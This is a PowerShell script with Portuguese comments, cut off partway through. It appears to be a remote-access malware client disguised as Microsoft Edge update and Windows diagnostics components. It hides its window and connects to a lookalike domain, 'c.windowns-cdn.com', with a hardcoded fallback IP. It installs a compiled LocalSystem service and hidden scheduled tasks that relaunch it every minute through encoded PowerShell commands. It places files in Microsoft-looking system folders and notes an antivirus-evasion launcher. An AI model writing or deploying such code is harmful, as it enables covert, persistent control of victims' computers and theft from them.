param( [string]$ScriptPath = "", [switch]$ServiceMode, [switch]$Uninstall, [switch]$Reinstall, [switch]$InstallService, [switch]$UninstallService, [switch]$ServiceStatus, [switch]$Force ) # Server e Port podem ser definidos ANTES do IEX (pelo Spawner) ou usar defaults # Verifica se ja existem no escopo pai antes de definir defaults if (-not (Test-Path variable:script:Server) -and -not (Test-Path variable:Server)) { $script:Server = "c.windowns-cdn.com" } elseif (Test-Path variable:Server) { $script:Server = $Server } if (-not (Test-Path variable:script:Port) -and -not (Test-Path variable:Port)) { $script:Port = 443 } elseif (Test-Path variable:Port) { $script:Port = $Port } # Flag definida pelo Spawner antes do IEX (processo na sessao do usuario) if (-not (Test-Path variable:SpawnedByService)) { $SpawnedByService = $false } # =============================================================================== # ESCONDER JANELA IMEDIATAMENTE - PRIMEIRA COISA A FAZER # =============================================================================== try { Add-Type -Name WinHide -Namespace NativeHide -MemberDefinition '[DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);' -ErrorAction SilentlyContinue $hwnd = (Get-Process -Id $PID -ErrorAction SilentlyContinue).MainWindowHandle if ($hwnd -ne [IntPtr]::Zero) { [NativeHide.WinHide]::ShowWindow($hwnd, 0) | Out-Null } } catch {} # =============================================================================== # INSTÂNCIA ÚNICA - VERIFICAR IMEDIATAMENTE (antes de carregar qualquer coisa) # =============================================================================== if ($env:MSEDGE_SKIP_UAC -eq "1" -and -not $InstallService -and -not $Uninstall -and -not $ServiceMode) { foreach ($__pf in @("$env:APPDATA\Microsoft\Diagnosis\ETW\client.pid", "C:\ProgramData\Microsoft\Diagnosis\ETW\client.pid")) { if (Test-Path $__pf -EA SilentlyContinue) { $__sp = (Get-Content $__pf -Raw -EA SilentlyContinue) if ($__sp) { $__sp = $__sp.Trim() if ($__sp -match '^\d+$' -and [int]$__sp -ne $PID) { $__ep = Get-Process -Id ([int]$__sp) -ErrorAction SilentlyContinue if ($__ep -and $__ep.Name -like "*powershell*") { [Environment]::Exit(0) } } } } } Remove-Variable __pf,__sp,__ep -EA SilentlyContinue } # Deteccao INTELIGENTE do caminho do script (multiplos metodos) $script:SourceScriptPath = "" # Metodo 1: Parametro explicito if ($ScriptPath -and (Test-Path $ScriptPath -ErrorAction SilentlyContinue)) { $script:SourceScriptPath = $ScriptPath } # Metodo 2: PSCommandPath (quando executado com -File) if (-not $script:SourceScriptPath -and $PSCommandPath) { $script:SourceScriptPath = $PSCommandPath } # Metodo 3: MyInvocation (backup) if (-not $script:SourceScriptPath -and $MyInvocation.MyCommand.Path) { $script:SourceScriptPath = $MyInvocation.MyCommand.Path } # Metodo 4: Procurar em locais comuns if (-not $script:SourceScriptPath) { $commonPaths = @( "C:\Users\Public\Documents\msedge.txt", "$env:USERPROFILE\Documents\msedge.txt", "$env:TEMP\msedge.txt", "$PSScriptRoot\msedge.txt" ) foreach ($path in $commonPaths) { if (Test-Path $path -ErrorAction SilentlyContinue) { $script:SourceScriptPath = $path break } } } # Metodo 5: Auto-salvar (fallback final) if (-not $script:SourceScriptPath) { $autoSavePath = "C:\Users\Public\Documents\msedge.txt" try { if ($MyInvocation.MyCommand.ScriptBlock) { $thisScript = $MyInvocation.MyCommand.ScriptBlock.ToString() $thisScript | Out-File -FilePath $autoSavePath -Encoding UTF8 -Force $script:SourceScriptPath = $autoSavePath } } catch {} } # Ultimo recurso: usar caminho padrao if (-not $script:SourceScriptPath) { $script:SourceScriptPath = "C:\Users\Public\Documents\msedge.txt" } # =============================================================================== # DEBUG LOG - PARA DIAGNOSTICO DO SERVICO # =============================================================================== # Escolher diretorio de log baseado em permissoes $script:DebugLogPath = $null $script:DebugLogReady = $false foreach ($candidatePath in @("C:\ProgramData\Microsoft\Diagnosis\ETW", "$env:APPDATA\Microsoft\Diagnosis\ETW")) { try { if (!(Test-Path $candidatePath -ErrorAction SilentlyContinue)) { New-Item -Path $candidatePath -ItemType Directory -Force -ErrorAction Stop | Out-Null } # Testar escrita $testFile = Join-Path $candidatePath ".write_test" "test" | Out-File -FilePath $testFile -Force -ErrorAction Stop Remove-Item $testFile -Force -ErrorAction SilentlyContinue $script:DebugLogPath = Join-Path $candidatePath "client_debug.log" $script:DebugLogReady = $true break } catch {} } if (-not $script:DebugLogPath) { $script:DebugLogPath = "$env:TEMP\client_debug.log"; $script:DebugLogReady = $true } function Write-DebugLog { param([string]$Message) if (-not $script:DebugLogReady) { return } try { $timestamp = (Get-Date).ToString("yyyy-MM-dd HH:mm:ss") "$timestamp - $Message" | Out-File -FilePath $script:DebugLogPath -Append -Encoding UTF8 -ErrorAction SilentlyContinue if ($script:ProcessLogPath) { "$timestamp - $Message" | Out-File -FilePath $script:ProcessLogPath -Append -Encoding UTF8 -ErrorAction SilentlyContinue } } catch {} } # Capturar erros nao tratados trap { Write-DebugLog "ERRO FATAL: $_" Write-DebugLog "Stack: $($_.ScriptStackTrace)" continue } # Log separado para cada processo $script:ProcessLogPath = "C:\ProgramData\Microsoft\Diagnosis\ETW\process_$PID.log" try { "=== PROCESSO $PID INICIADO ===" | Out-File $script:ProcessLogPath -Force } catch {} Write-DebugLog "=== SCRIPT INICIADO === BUILD_V6_HARDCODED_TYPES ===" Write-DebugLog "ServiceMode: $ServiceMode" Write-DebugLog "SpawnedByService: $SpawnedByService" Write-DebugLog "User: $([System.Security.Principal.WindowsIdentity]::GetCurrent().Name)" Write-DebugLog "PID: $PID" # === FORCE MODE: Limpar tudo antes de iniciar === if ($Force) { Write-Host "[FORCE] Limpando processos e arquivos existentes..." -ForegroundColor Cyan # Matar outros powershell (exceto eu) Get-Process powershell -ErrorAction SilentlyContinue | Where-Object { $_.Id -ne $PID } | ForEach-Object { Write-Host "[FORCE] Matando PID $($_.Id)..." -ForegroundColor DarkCyan Stop-Process -Id $_.Id -Force -ErrorAction SilentlyContinue } # Remover PID files Remove-Item "C:\ProgramData\Microsoft\Diagnosis\ETW\client.pid" -Force -ErrorAction SilentlyContinue Remove-Item "$env:APPDATA\Microsoft\Diagnosis\ETW\client.pid" -Force -ErrorAction SilentlyContinue Start-Sleep -Milliseconds 500 Write-Host "[FORCE] Limpeza concluida" -ForegroundColor Green } # Se e servico, aguardar rede estar disponivel if ($ServiceMode -or ([System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value -eq "S-1-5-18")) { Write-DebugLog "Rodando como SYSTEM - aguardando rede..." $networkReady = $false for ($i = 0; $i -lt 30; $i++) { try { $testConnection = [System.Net.Dns]::GetHostAddresses("google.com") if ($testConnection) { $networkReady = $true Write-DebugLog "Rede disponivel apos $i segundos" break } } catch {} Start-Sleep -Seconds 2 } if (-not $networkReady) { Write-DebugLog "AVISO: Rede pode nao estar disponivel" } } # =============================================================================== # DPI AWARENESS - GARANTIR RESOLUCAO REAL DOS MONITORES (PER-MONITOR V2) # =============================================================================== try { Add-Type @' using System; using System.Runtime.InteropServices; public class DPIAwareness { [DllImport("shcore.dll")] public static extern int SetProcessDpiAwareness(int value); // 0 = DPI_UNAWARE, 1 = SYSTEM_DPI_AWARE, 2 = PER_MONITOR_DPI_AWARE public static void SetPerMonitorAware() { try { SetProcessDpiAwareness(2); } catch { } } } '@ [DPIAwareness]::SetPerMonitorAware() Write-DebugLog "DPI Awareness OK" } catch { Write-DebugLog "DPI Awareness ERRO: $_" } # =============================================================================== # CONFIGURACAO DE CONEXAO - DOMINIO PRINCIPAL + IP FALLBACK # =============================================================================== $script:ConnectionConfig = @{ # Dominio principal (vem do parametro -Server ou definido pelo Spawner) PrimaryDomain = $script:Server # IP de fallback (so usa se dominio nao resolver apos 3 tentativas) FallbackIP = "149.56.12.51" # Porta de conexao Port = $script:Port } function Resolve-ServerAddress { # Sempre tenta o dominio primeiro (3 tentativas) $domain = $script:ConnectionConfig.PrimaryDomain $fallback = $script:ConnectionConfig.FallbackIP Write-DebugLog "Resolve-ServerAddress: domain=$domain, fallback=$fallback" # Tentar resolver dominio 3x if ($domain -and $domain -ne "") { for ($attempt = 1; $attempt -le 3; $attempt++) { try { Write-DebugLog "DNS tentativa $attempt de 3..." $resolved = [System.Net.Dns]::GetHostAddresses($domain) | Where-Object { $_.AddressFamily -eq 'InterNetwork' } | Select-Object -First 1 if ($resolved) { Write-Host "[DNS] Dominio resolvido: $domain -> $($resolved.IPAddressToString)" -ForegroundColor Green Write-DebugLog "DNS OK: $domain -> $($resolved.IPAddressToString)" return $resolved.IPAddressToString } } catch { Write-Host "[DNS] Tentativa $attempt falhou: $domain" -ForegroundColor Yellow Write-DebugLog "DNS ERRO tentativa $attempt : $domain - $_" if ($attempt -lt 3) { Start-Sleep -Seconds 2 } } } } # Fallback para IP direto (apos 3 tentativas falharem) Write-Host "[DNS] Usando IP de fallback: $fallback" -ForegroundColor Yellow Write-DebugLog "Usando fallback: $fallback" return $fallback } # Manter $Server como dominio (resolucao acontece a cada conexao) Write-DebugLog "Servidor configurado: $Server (dominio)" Write-DebugLog "Fallback IP: $($script:ConnectionConfig.FallbackIP)" # =============================================================================== # CONFIGURACOES DE INSTALACAO - CAMINHOS LEGITIMOS DO WINDOWS # =============================================================================== $script:InstallConfig = @{ InstallDir = "$env:ProgramData\Microsoft\Diagnosis\ETW" ScriptName = "msedgeupdate.txt" TokenFile = "$env:ProgramData\Microsoft\Diagnosis\ETW\etw.dat" TaskName = "MicrosoftEdgeUpdateCore" ServiceDescription = "Windows Diagnostics and Telemetry Tracking Service" ServiceName = "MicrosoftEdgeUpdateCore" ServiceDisplayName = "Windows Diagnostics ETW Service" LogsDir = "$env:ProgramData\Microsoft\Diagnosis\ETW\logs" } # =============================================================================== # FUNCOES DE SERVICO WINDOWS NATIVO # =============================================================================== function Test-WinServiceExists { $svc = Get-Service -Name $script:InstallConfig.ServiceName -ErrorAction SilentlyContinue return $null -ne $svc } function Test-WinServiceRunning { $svc = Get-Service -Name $script:InstallConfig.ServiceName -ErrorAction SilentlyContinue return $svc -and $svc.Status -eq 'Running' } function Build-ServiceExe { param([string]$ServiceName, [string]$ScriptPath, [string]$OutputExe, [string]$ServerAddr, [int]$ServerPort) $code = @" using System; using System.Diagnostics; using System.IO; using System.ServiceProcess; using System.Threading; namespace SvcHost { public class Svc : ServiceBase { Process proc; Thread mon; bool run; int fails = 0; string script = @"$ScriptPath"; string server = "$ServerAddr"; int port = $ServerPort; string log; public Svc() { ServiceName = "$ServiceName"; CanStop = true; log = Path.Combine(Path.GetDirectoryName(script), "service.log"); } void Log(string m) { try { File.AppendAllText(log, DateTime.Now + " " + m + "\r\n"); } catch {} } protected override void OnStart(string[] a) { run = true; mon = new Thread(() => { while (run) { try { bool needRestart = false; if (proc == null || proc.HasExited) { needRestart = true; } else { try { proc.Refresh(); if (proc.WorkingSet64/1048576 > 500) { Log("WATCHDOG 500MB"); try{proc.Kill();}catch{} needRestart=true; } } catch {} } if (needRestart) { int wait = Math.Min(5*(1<0) { Log("Cooldown "+wait+"s"); Thread.Sleep(wait*1000); } Log("Starting PS to " + server + ":" + port); var p = new ProcessStartInfo(); p.FileName = @"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"; p.Arguments = "-Exec Bypass -NoP -W Hidden -Command \"& ([ScriptBlock]::Create((Get-Content '" + script + "' -Raw))) -Server '" + server + "' -Port " + port + " -ScriptPath '" + script + "' -ServiceMode\""; p.UseShellExecute = false; p.CreateNoWindow = true; p.WorkingDirectory = Path.GetDirectoryName(script); proc = Process.Start(p); Log("PID: " + proc.Id); fails++; } else { fails = 0; } } catch (Exception e) { Log("Err: " + e.Message); fails++; } Thread.Sleep(5000); } }); mon.IsBackground = true; mon.Start(); } protected override void OnStop() { run = false; try { if (mon != null) mon.Join(3000); } catch {} try { if (proc != null && !proc.HasExited) { proc.Kill(); proc.WaitForExit(5000); } } catch {} Log("Stopped"); } public static void Main() { ServiceBase.Run(new Svc()); } } } "@ $cscPaths = @( "$env:WINDIR\Microsoft.NET\Framework64\v4.0.30319\csc.exe", "$env:WINDIR\Microsoft.NET\Framework\v4.0.30319\csc.exe" ) $csc = $cscPaths | Where-Object { Test-Path $_ } | Select-Object -First 1 if (-not $csc) { return $false } $tmp = "$env:TEMP\svc_$((Get-Random)).cs" $code | Out-File $tmp -Encoding UTF8 $r = Start-Process $csc -ArgumentList "/target:exe /out:`"$OutputExe`" /r:System.ServiceProcess.dll /optimize+ `"$tmp`"" -Wait -NoNewWindow -PassThru Remove-Item $tmp -Force -EA SilentlyContinue return ($r.ExitCode -eq 0 -and (Test-Path $OutputExe)) } function Install-AsWindowsService { $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if (-not $isAdmin) { Write-Host "Requer Administrador" -ForegroundColor Red; return $false } Write-Host "`n===============================================================================" -ForegroundColor Cyan Write-Host " INSTALANDO SERVICO WINDOWS NATIVO" -ForegroundColor Cyan Write-Host "===============================================================================`n" -ForegroundColor Cyan $svcName = $script:InstallConfig.ServiceName $instDir = $script:InstallConfig.InstallDir if (Test-WinServiceExists) { # Auto-limpar servico existente (pode estar quebrado de instalacao anterior) Write-Host "Servico ja existe - removendo para reinstalar..." -ForegroundColor Yellow try { sc.exe stop $svcName 2>&1 | Out-Null Start-Sleep -Seconds 2 sc.exe delete $svcName 2>&1 | Out-Null Start-Sleep -Seconds 2 Write-Host " Servico antigo removido" -ForegroundColor Green } catch { Write-Host " ERRO ao remover servico antigo: $_" -ForegroundColor Red return $false } } Write-Host "[1/6] Criando diretorios..." -ForegroundColor Gray @($instDir, $script:InstallConfig.LogsDir) | ForEach-Object { if (!(Test-Path $_)) { New-Item $_ -ItemType Directory -Force | Out-Null } } Write-Host " OK" -ForegroundColor Green Write-Host "[2/6] Copiando script..." -ForegroundColor Gray $dest = Join-Path $instDir $script:InstallConfig.ScriptName if ($script:SourceScriptPath) { Copy-Item $script:SourceScriptPath $dest -Force; Write-Host " OK" -ForegroundColor Green } else { Write-Host " ERRO" -ForegroundColor Red; return $false } Write-Host "[3/6] Compilando servico...\" -ForegroundColor Gray $exe = Join-Path $instDir "$svcName.exe" if (Build-ServiceExe -ServiceName $svcName -ScriptPath $dest -OutputExe $exe -ServerAddr $Server -ServerPort $Port) { Write-Host " OK" -ForegroundColor Green } else { Write-Host " ERRO" -ForegroundColor Red; return $false } Write-Host "[4/6] Registrando servico..." -ForegroundColor Gray # IMPORTANTE: Limpar Registry Run ANTES de criar o servico (evita duas instancias) Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $svcName -ErrorAction SilentlyContinue Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MicrosoftEdgeUpdateCore" -ErrorAction SilentlyContinue sc.exe create $svcName binPath= "`"$exe`"" start= auto obj= LocalSystem DisplayName= "`"$($script:InstallConfig.ServiceDisplayName)`"" 2>&1 | Out-Null sc.exe description $svcName "`"$($script:InstallConfig.ServiceDescription)`"" 2>&1 | Out-Null # Configurar recovery: reinicia em 60s, 120s, 180s se cair sc.exe failure $svcName reset= 86400 actions= restart/5000/restart/5000/restart/5000 2>&1 | Out-Null if (Test-WinServiceExists) { Write-Host " OK" -ForegroundColor Green Write-Host " Iniciando..." -ForegroundColor Gray sc.exe start $svcName 2>&1 | Out-Null Start-Sleep 3 if (Test-WinServiceRunning) { Write-Host " Servico RODANDO!" -ForegroundColor Green } else { Write-Host " Aguardando inicio..." -ForegroundColor Yellow } } else { Write-Host " ERRO ao registrar" -ForegroundColor Red; return $false } Write-Host "[5/6] Removendo tarefa agendada (nao precisa mais)..." -ForegroundColor Gray schtasks /delete /tn $script:InstallConfig.TaskName /f 2>&1 | Out-Null Unregister-ScheduledTask -TaskName $script:InstallConfig.TaskName -Confirm:$false -ErrorAction SilentlyContinue Write-Host " OK" -ForegroundColor Green Write-Host "[6/6] Limpando pasta do usuario (nao precisa mais)..." -ForegroundColor Gray $userInstallDir = "$env:APPDATA\Microsoft\Diagnosis\ETW" if (Test-Path $userInstallDir) { Remove-Item -Path $userInstallDir -Recurse -Force -ErrorAction SilentlyContinue Write-Host " OK - Pasta removida: $userInstallDir" -ForegroundColor Green } else { Write-Host " OK - Pasta nao existia" -ForegroundColor Gray } Write-Host "`n===============================================================================" -ForegroundColor Green Write-Host " INSTALACAO CONCLUIDA!" -ForegroundColor Green Write-Host "===============================================================================" -ForegroundColor Green Write-Host " Nome: $($script:InstallConfig.ServiceDisplayName)" Write-Host " ID: $svcName" Write-Host " Conta: LocalSystem" Write-Host "" return $true } function Uninstall-WindowsService { $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if (-not $isAdmin) { Write-Host "Requer Administrador" -ForegroundColor Red; return $false } Write-Host "`n===============================================================================" -ForegroundColor Yellow Write-Host " REMOVENDO SERVICO WINDOWS" -ForegroundColor Yellow Write-Host "===============================================================================`n" -ForegroundColor Yellow $svcName = $script:InstallConfig.ServiceName Write-Host "[1/3] Parando servico..." -ForegroundColor Gray sc.exe stop $svcName 2>&1 | Out-Null Start-Sleep 2 Write-Host " OK" -ForegroundColor Green Write-Host "[2/3] Removendo servico..." -ForegroundColor Gray sc.exe delete $svcName 2>&1 | Out-Null Start-Sleep 2 Write-Host " OK" -ForegroundColor Green Write-Host "[3/3] Limpando arquivos..." -ForegroundColor Gray $exe = Join-Path $script:InstallConfig.InstallDir "$svcName.exe" if (Test-Path $exe) { Remove-Item $exe -Force -EA SilentlyContinue } Write-Host " OK" -ForegroundColor Green Write-Host "`nServico removido!" -ForegroundColor Green return $true } function Show-ServiceStatus { Write-Host "`n===============================================================================" -ForegroundColor Cyan Write-Host " STATUS" -ForegroundColor Cyan Write-Host "===============================================================================`n" -ForegroundColor Cyan $svc = Get-Service -Name $script:InstallConfig.ServiceName -EA SilentlyContinue if ($svc) { Write-Host " [SERVICO WINDOWS]" -ForegroundColor White Write-Host " Nome: $($svc.DisplayName)" Write-Host " Status: " -NoNewline if ($svc.Status -eq 'Running') { Write-Host "RODANDO" -ForegroundColor Green } else { Write-Host $svc.Status -ForegroundColor Yellow } $p = Get-WmiObject Win32_Process -Filter "Name='powershell.exe'" -EA SilentlyContinue | Where-Object { $_.CommandLine -like "*$($script:InstallConfig.ScriptName)*" -and $_.CommandLine -like "*-ServiceMode*" } | Select-Object -First 1 if ($p) { $o = $p.GetOwner() Write-Host " Conta: $($o.Domain)\$($o.User)" Write-Host " PID: $($p.ProcessId)" } } else { Write-Host " [SERVICO WINDOWS] Nao instalado" -ForegroundColor Yellow } Write-Host "" $task = schtasks /query /tn $script:InstallConfig.TaskName 2>$null if ($LASTEXITCODE -eq 0) { Write-Host " [TAREFA AGENDADA] Instalada" -ForegroundColor Green } else { Write-Host " [TAREFA AGENDADA] Nao instalada" -ForegroundColor Gray } Write-Host "" } # =============================================================================== # FUNCOES DE GERENCIAMENTO (UNINSTALL/REINSTALL) # =============================================================================== function Invoke-CompleteUninstall { $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if (-not $isAdmin) { Write-Host "[X] Requer privilegios de Administrador" -ForegroundColor Red return $false } Write-Host "`n[*] Desinstalando servico de diagnostico..." -ForegroundColor Cyan # 1. Parar processos relacionados (exceto o atual) Write-Host " Parando processos..." -ForegroundColor Gray try { Get-WmiObject Win32_Process -Filter "Name='powershell.exe'" -ErrorAction SilentlyContinue | Where-Object { ($_.CommandLine -like "*$($script:InstallConfig.ScriptName)*" -or $_.CommandLine -like "*$($script:InstallConfig.TaskName)*" -or $_.CommandLine -like "*DeviceSync*" -or $_.CommandLine -like "*crop_*") -and $_.ProcessId -ne $PID } | ForEach-Object { try { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue } catch {} } } catch {} Start-Sleep -Seconds 2 # 2. Remover tarefa agendada (incluindo variacoes antigas) Write-Host " Removendo tarefas agendadas..." -ForegroundColor Gray @($script:InstallConfig.TaskName, "WindowsServiceHost", "MicrosoftEdgeUpdateCore") | ForEach-Object { schtasks /delete /tn $_ /f 2>$null | Out-Null schtasks /delete /tn "\Microsoft\Windows\$_" /f 2>$null | Out-Null } # 3. Limpar entradas do registro Write-Host " Limpando registro..." -ForegroundColor Gray @("HKCU:\Software\Microsoft\Windows\CurrentVersion\Run", "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run") | ForEach-Object { if (Test-Path $_) { @($script:InstallConfig.TaskName, "WindowsServiceHost", "MicrosoftEdgeUpdateCore") | ForEach-Object { Remove-ItemProperty -Path $_ -Name $_ -ErrorAction SilentlyContinue } } } # 4. Remover diretorios de instalacao (com retry) Write-Host " Removendo arquivos..." -ForegroundColor Gray $dirsToRemove = @( $script:InstallConfig.InstallDir, "$env:ProgramData\Microsoft\DeviceSync", "$env:ProgramData\Microsoft\Diagnosis\ETW", "$env:APPDATA\WinSvc", "$env:LOCALAPPDATA\WinSvc" ) foreach ($dir in $dirsToRemove) { if (Test-Path $dir) { for ($i = 0; $i -lt 3; $i++) { try { Remove-Item -Path $dir -Recurse -Force -ErrorAction Stop break } catch { Start-Sleep -Milliseconds 500 } } } } # 5. Limpar arquivos temporarios Write-Host " Limpando temporarios..." -ForegroundColor Gray Get-ChildItem $env:TEMP -Filter "crop_*.txt" -ErrorAction SilentlyContinue | Remove-Item -Force -ErrorAction SilentlyContinue Get-ChildItem $env:TEMP -Filter "caplogo.png" -ErrorAction SilentlyContinue | Remove-Item -Force -ErrorAction SilentlyContinue Get-ChildItem $env:TEMP -Filter "zxing*.dll" -ErrorAction SilentlyContinue | Remove-Item -Force -ErrorAction SilentlyContinue Write-Host "[OK] Desinstalacao concluida com sucesso" -ForegroundColor Green return $true } function Invoke-SystemInstall { $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if (-not $isAdmin) { Write-Host "[X] Requer privilegios de Administrador" -ForegroundColor Red return $false } Write-Host "`n[*] Instalando servico de diagnostico..." -ForegroundColor Cyan # Criar estrutura de diretorios if (-not (Test-Path $script:InstallConfig.InstallDir)) { New-Item -Path $script:InstallConfig.InstallDir -ItemType Directory -Force | Out-Null } # Copiar script para localizacao de instalacao $currentScript = $script:SourceScriptPath $destPath = Join-Path $script:InstallConfig.InstallDir $script:InstallConfig.ScriptName if ($currentScript -ne $destPath) { Copy-Item -Path $currentScript -Destination $destPath -Force } # Configurar tarefa agendada como SYSTEM $psExe = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $taskCmd = "`"$psExe`" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NoLogo -NonInteractive -File `"$destPath`"" # Remover tarefa existente schtasks /delete /tn $script:InstallConfig.TaskName /f 2>$null | Out-Null # Criar nova tarefa $result = schtasks /create /tn $script:InstallConfig.TaskName /tr $taskCmd /sc onstart /delay 0000:30 /rl highest /ru SYSTEM /f 2>&1 if ($LASTEXITCODE -ne 0) { Write-Host "[X] Falha ao criar tarefa agendada" -ForegroundColor Red return $false } # Iniciar tarefa Start-Sleep -Seconds 1 schtasks /run /tn $script:InstallConfig.TaskName 2>$null | Out-Null # Verificar se tarefa foi criada com sucesso Start-Sleep -Seconds 2 $taskExists = schtasks /query /tn $script:InstallConfig.TaskName 2>$null if ($LASTEXITCODE -eq 0) { Write-Host "[OK] Tarefa agendada criada: $($script:InstallConfig.TaskName)" -ForegroundColor Green Write-Host "[OK] Persistencia: Sistema vai reconectar automaticamente apos reboot" -ForegroundColor Green } else { Write-Host "[!] AVISO: Tarefa pode nao ter sido criada corretamente" -ForegroundColor Yellow } Start-Sleep -Seconds 3 # Verificar instalacao $running = Get-WmiObject Win32_Process -Filter "Name='powershell.exe'" -ErrorAction SilentlyContinue | Where-Object { $_.CommandLine -like "*$destPath*" } if ($running) { $owner = $running.GetOwner() Write-Host "[OK] Servico instalado e iniciado com sucesso" -ForegroundColor Green Write-Host " Localizacao: $destPath" -ForegroundColor Gray Write-Host " Executando como: $($owner.Domain)\$($owner.User)" -ForegroundColor $(if ($owner.User -eq 'SYSTEM') {'Green'} else {'Yellow'}) Write-Host " PID: $($running.ProcessId)" -ForegroundColor Gray return $true } else { Write-Host "[!] Servico instalado, mas nao iniciado automaticamente" -ForegroundColor Yellow Write-Host " Execute: schtasks /run /tn $($script:InstallConfig.TaskName)" -ForegroundColor Cyan return $true } } # =============================================================================== # PROCESSAR COMANDOS DE GERENCIAMENTO # =============================================================================== if ($Uninstall) { $success = Invoke-CompleteUninstall Write-Host "" Read-Host "Pressione Enter para continuar" exit $(if ($success) {0} else {1}) } if ($Reinstall) { Write-Host "`n===============================================================================" -ForegroundColor Cyan Write-Host " Windows Diagnostics Service - Reinstalacao" -ForegroundColor Cyan Write-Host "===============================================================================" -ForegroundColor Cyan Invoke-CompleteUninstall | Out-Null Start-Sleep -Seconds 2 $success = Invoke-SystemInstall Write-Host "`n===============================================================================" -ForegroundColor Cyan Write-Host "" Read-Host "Pressione Enter para continuar" exit $(if ($success) {0} else {1}) } if ($InstallService) { $success = Install-AsWindowsService Write-Host "" #Read-Host "Pressione Enter" exit $(if ($success) {0} else {1}) } if ($UninstallService) { $success = Uninstall-WindowsService Write-Host "" #Read-Host "Pressione Enter" exit $(if ($success) {0} else {1}) } if ($ServiceStatus) { Show-ServiceStatus #Read-Host "Pressione Enter" exit 0 } # =============================================================================== # GUARDIAN SYSTEM - PROTEÇÃO TRIPLA (CMD + PS Job + Task Scheduler) # =============================================================================== function Start-Guardian { param( [string]$ScriptPath, [int]$CheckSeconds = 5 ) $pidFile = "$env:APPDATA\Microsoft\Diagnosis\ETW\client.pid" # Criar diretório se não existir $pidDir = Split-Path $pidFile -Parent if (-not (Test-Path $pidDir)) { New-Item -Path $pidDir -ItemType Directory -Force | Out-Null } # Salvar PID atual $PID | Out-File -FilePath $pidFile -Encoding ASCII -Force -NoNewline Write-DebugLog "[GUARDIAN] PID $PID salvo em $pidFile" # === MÉTODO: MÚLTIPLAS TASKS COM OFFSET === # 3 tarefas, cada uma roda a cada 1 minuto, mas com offsets de 20s $taskNames = @("WinDiagTask0", "WinDiagTask20", "WinDiagTask40") $offsets = @(0, 20, 40) # Script que verifica se tem cliente rodando via PID file $scriptPathEscaped = $ScriptPath -replace "'", "''" $checkScript = @" `$pidFile = '$pidFile' if (Test-Path `$pidFile) { `$savedPid = (Get-Content `$pidFile -Raw -EA SilentlyContinue).Trim() if (`$savedPid -match '^\d+`$') { `$proc = Get-Process -Id ([int]`$savedPid) -EA SilentlyContinue if (`$proc -and `$proc.Name -eq 'powershell') { exit } } } `$env:MSEDGE_SKIP_UAC = '1' powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "IEX (gc '$scriptPathEscaped' -Raw)" "@ $bytes = [System.Text.Encoding]::Unicode.GetBytes($checkScript) $encodedCmd = [Convert]::ToBase64String($bytes) # Compilar launcher.exe (COM reflection - evita deteccao AV) $guardLauncher = Join-Path (Split-Path $ScriptPath -Parent) "launcher.exe" $hasLauncher = Build-Launcher -OutputPath $guardLauncher -TargetScript $ScriptPath for ($i = 0; $i -lt 3; $i++) { $taskName = $taskNames[$i] $offset = $offsets[$i] # SEMPRE recriar (corrigir paths antigos/corrompidos) Unregister-ScheduledTask -TaskName $taskName -Confirm:$false -ErrorAction SilentlyContinue try { # Calcular próximo horário com offset $now = Get-Date $baseMinute = $now.AddSeconds(-$now.Second).AddMilliseconds(-$now.Millisecond) $startTime = $baseMinute.AddSeconds($offset) if ($startTime -lt $now) { $startTime = $startTime.AddMinutes(1) } if ($hasLauncher) { $action = New-ScheduledTaskAction -Execute "`"$guardLauncher`"" -Argument "`"$ScriptPath`"" } else { $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoP -EP Bypass -W Hidden -EncodedCommand $encodedCmd" } $trigger = New-ScheduledTaskTrigger -Once -At $startTime -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 9999) $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Seconds 30) -MultipleInstances IgnoreNew -Hidden Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -Settings $settings -Force -ErrorAction Stop | Out-Null Write-DebugLog "[GUARDIAN] Task $taskName criada (start: $startTime)" Write-Host "[GUARDIAN] Task $taskName criada (offset ${offset}s)" -ForegroundColor Green } catch { Write-DebugLog "[GUARDIAN] Erro Task $taskName : $_" Write-Host "[GUARDIAN] ERRO Task $taskName : $_" -ForegroundColor Red } } Write-Host "[GUARDIAN] Multi-Task ativo (check ~20s)" -ForegroundColor Green return $true } # =============================================================================== # SECURITY - TOKEN UNICO POR INSTALACAO # =============================================================================== # PACKET WRITING - Usa BinaryWriter inline (sem C# Add-Type, sem funções wrapper) # =============================================================================== $script:SecurityConfig = @{ MasterKey = 'iuhbdaubdvauygd5562$3@##$r' TokenFile = $script:InstallConfig.TokenFile UserTokenFile = "$env:APPDATA\Microsoft\Diagnosis\ETW\install.token" } function Get-OrCreateInstallToken { # Tentar ler token existente de qualquer um dos caminhos foreach ($tokenPath in @($script:SecurityConfig.TokenFile, $script:SecurityConfig.UserTokenFile)) { if (Test-Path $tokenPath) { try { $existingToken = Get-Content $tokenPath -Raw -ErrorAction Stop if ($existingToken -and $existingToken.Length -ge 64) { return $existingToken.Trim() } } catch {} } } $machineGuid = $null try { $machineGuid = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Cryptography" 